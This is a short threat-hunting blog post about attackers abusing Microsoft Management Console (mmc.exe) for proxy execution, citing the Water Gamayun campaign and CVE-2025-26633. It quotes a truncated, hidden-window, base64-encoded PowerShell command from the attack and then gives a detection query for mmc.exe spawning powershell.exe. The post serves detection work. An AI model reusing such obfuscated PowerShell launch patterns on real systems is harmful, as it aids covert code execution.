331. Adversaries Keep Abusing Microsoft Management Console

Hello everyone!

Today we'll look at another example of proxy execution, and focus on the following sub-technique: System Binary Proxy Execution: MMC (T1218.014).

According to this report, Water Gamayun leveraged malicious MSC files, which exploited MSC EvilTwin (CVE-2025-26633) to inject code into mmc.exe, leveraging TaskPad snap-in commands to run PowerShell commands, for example:

powershell.exe" -w H -eC aQBlAHgAIAAoACcAcABvAF8AdwBlAF8AcgBzAF8AaABlAF8AbABsACAALQBlAF8AQwAgAFMAUQBCAHUAQQBIAFkAQQBiAF8AdwBCAHIAQQBHAFUAQQBMAFEAQgBYAEEARwBVAEEAWQBnAEIAUwBBAEcAVQBBAGMAUQBfAEIAMQBBAEcAVQBBAGMAdwBCADAAQQBDAEEAQQBMAFEAQg[redacted]

So, in this case, mmc.exe spawns powershell.exe. We can transform it into a query:

event_type: "processcreatewin"

AND

proc_p_file_path: "mmc.exe"

AND

proc_file_path: "powershell.exe"

See you tomorrow!

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